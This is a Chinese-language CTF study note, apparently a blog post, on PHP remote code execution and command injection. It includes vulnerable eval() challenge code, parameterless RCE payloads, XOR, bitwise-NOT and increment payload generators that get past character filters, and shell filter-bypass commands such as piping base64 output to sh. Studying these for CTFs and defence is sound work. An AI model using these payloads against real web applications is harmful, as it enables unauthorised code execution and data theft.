04-WEB-远程代码命令执行
04-WEB-远程代码/命令执行
无参数RCE(远程代码执行)
常见漏洞位点:
eval() assert() preg_replace call_user_func()
例:
<?php
include "flag.php";
echo "flag在哪里?";
if(isset($_GET['exp'])){
    if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i',$_GET['exp'])){
        if(';'===preg_replace('/[a-z|\-]+\((?R)?\)/',NULL,$_GET['exp'])){
            if(!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i',$code)){
                eval($_GET['exp']);
            }else{
                die("还差一点");
            }
        }else{
            die("还差两点");;
        }
    }esle{
        die("还差三点");
    }
}
?>
';'===preg_replace('/[a-z|\-]+\((?R)?\)/',NULL,$_GET['exp'])
分析:
'/[a-z|\-]+\((?R)?\)/'
[a-z|\-]+表示匹配一个或多个小写字母、|或-,+表示“前面的元素出现一个或多次”
\(表示(,\为转义符
(?R)?中,()创建了一个捕获组,?R表示这是一个递归模式,表示在这里递归匹配整个正则表达式 ?表示前面的元素出现零次或一次
获取flag.php
1.scandir('.') 用于列出指定目录中的文件和目录。它返回一个包含目录中所有文件和目录的数组
如何获取点?
 (1)chr(46)
 chr(rand()) chr会自动%256
 chr(time())
 chr(current(localtime(time)))
 操作数组:
 1.pos() current() 返回第一个元素
 2.end() 返回内部指针指向数组中的最后一个元素,并输出
 3.next() 将内部指针指向数组的下一个元素,并输出
 4.prev() 将内部指针指向数组中的上一个元素,并输出
 5.reset() 将内部指针指向数组的第一个元素,并输出
 6.each() 返回当前元素的键名和键值,并将内部指针向前移动
 (2)current(localeconv())
 localeconv()返回已包含本地数字及货币格式信息的数组,第一个元素为.
如何从数组中取出flag.php
 (1)如果flag.php在最后一个,直接用end()取出即可
 (2)array_reverse()数组内容倒置,仅限于flag.php在数组方倒数第二个位置
?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
print_r用于打印出变量信息
 (3)array_rand(array_flip()) array_flip()将数组键值互换,array_rand()随机取出一个键
?exp=print_r(array_flip(scandir(pos(localeconv()))))
2.session
 session:在服务器上为每个单独用户开辟的一块“临时储物空间”。
 session_start()函数创建唯一session ID,此session ID通过名为PHPSESSID的Cookie发送并保存
?exp=print_r(session_id(session_start()));
在cookie中传入	Cookie  PHPSESSID=flag.php
3.Getallheaders()
 Getallheaders()函数可以获取当前HTTP请求的所有头信息,并以关联数组的形式返回
end(getallheaders())//得到任意字符串
直接使用 system或者file_get_contents等函数
4.get_defined_vars()
取get的最后一个参数;
end(pos(get_defined_vars()))
取post的最后一个参数:
end(next(get_defined_vars()))
如何读取flag.php
文件读取的方法
var_dump(file_get_contents())
show_source()
highlight_file()
readfile()
命令执行的方法
system(end(next(get_difined_vars())))
cat flag.php
解题
?exp=show_source(session_id(session_start()))
add header
Cookie	PHPSESSID=flag.php
无字母数字RCE
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>
assert()函数,如果参数是字符串,则会被当做 PHP 代码来执行
异或
利用两个异或来构造payload,最后进行url编码,求异或脚本如下:
import re
import requests
import urllib
from sys import *
import os
mya="system"  #指令
myb="dir"     #参数
a=[]
ans1="" 
ans2=""
for i in range(0,256): 
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
    if(tmp):
        continue
    else:
        a.append(i) 
def myfun(k,my): 
    global ans1 
    global ans2 
    for i in range (0,len(a)): 
        for j in range(i,len(a)): 
            if(a[i]^a[j]==ord(my[k])):
                ans1+=chr(a[i]) 
                ans2+=chr(a[j]) 
                return;
for x in range(0,len(mya)): 
    myfun(x,mya)
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" 
print(data1)
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)
取反
利用不可见字符,对其进行取反,然后url编码,之后在进行取反。取反脚本:
<?php
$ans1='system';
$ans2='dir';
$data1=('~'.urlencode(~$ans1));
$data2=('~'.urlencode(~$ans2));
echo ('('.$data1.')'.'('.$data2.')'.';');		#两参数调用结合了php7的动态调用
自增
当通过某种方法得到一个字符时,就可以通过自增来获取其他字符,比如获取到了_=A,我们进行_++
,最后进行url编码即可如:
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));	//$_GET[_]($_GET[__])
PHP7
动态调用 可结合取反、异或等联合使用
$a='phpinfo';
($a)();	#执行phpinfo函数
注意点
eval不能被动态调用,php7里不能动态构造assert
eval和echo等,不是函数,而是语言构造器
练习
<?php
error_reporting(0);
session_start();
require "hidden_filter.php";
if(!isset($_GET['code'])){
	show_source(__FILE__);
	exit();
}else{
	$code=$_GET['code'];
	if(!preg_match($secret_waf,$code)){
		eval("\$_SESSION[".$code."]=false;")
	}else die('hacker');
}
#hidden_filter.php
<?php
$secret_waf='/f|\(|\)|&|\||\^|\$|#|\*|'|`|;|\/|\\\|"|\"|\|et|sy|exec|include|\'|\\\'/i';
?>
分析:
 没有括号,只能执行很少不需要括号的函数 如ehco "aaa"
 然后没有引号,不能自己传值
 还没有空格,执行函数的话必须后面直接接上东西
 没有分号
 命令在$_SESSION[' ']里,还需要先逃逸出来
 没有$和分号,命令拼接无效
绕过分号的过滤
 除了分号外,‘ ?> ’ 结束标签也可以做结束符号
题解
payload:	?code=]=1?><?=require~%99%93%9E%98%D1%8F%97%8F?>
首先使用]=1来吧session闭合
对于php的单行模式是不需要分号的,因此使用?><?来绕过分号
不使用括号的函数,require
没有引号表示不能传参,进行取反运算:由于PHP黑魔法require和取反运算符之间不需要空格照样执行
读flag.txt,falg在/flag,取反/flag包含即可。
命令执行
命令执行是一种攻击,其目标是在主机操作系统上执行任意命令。
高危函数:system() exec() shell_exec() passthru() pctnl_exec() popen() proc_open()
联合执行
1.分号
2.&& & 前一个成功才执行
3.|| 前一个命令出现错误时才运行下一个命令
4.| 前一个命令结果作为后一条执行命令
5.换行符%0a %0d
Bypass过滤
空格过滤
1.$IFS(不推荐)
2.${IFS}
3.$IFS$9
4.<  或者  <>
5.{cat,flag.php}
6.%09 {制表符 tab}
某个关键字的过滤
1.\					反斜线转义cat fla\g.php
2.''				cat fl''ag.php
3.base64编码绕过	 echo jsadflLhf | base64 -d | sh
4.hex编码绕过		 echo 579823457 | xxd -r -p | bash
5.[]通配符			  cat fl[a]g.php 不能用于命令
6.?  * 
7.{x..x}			cat fl{a..c}g.php
8.变量			   a=fl;b=ag;cat $a$b.php
9.内联执行			 cat `echo fjakhfda| xxd -r -p`或cat $(echo fjakhfda| xxd -r -p)或echo fjakhfda| xxd -r -p | xargs cat
cat的过滤
1.base64
2.fmt
3.more
4.less
5.rev
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号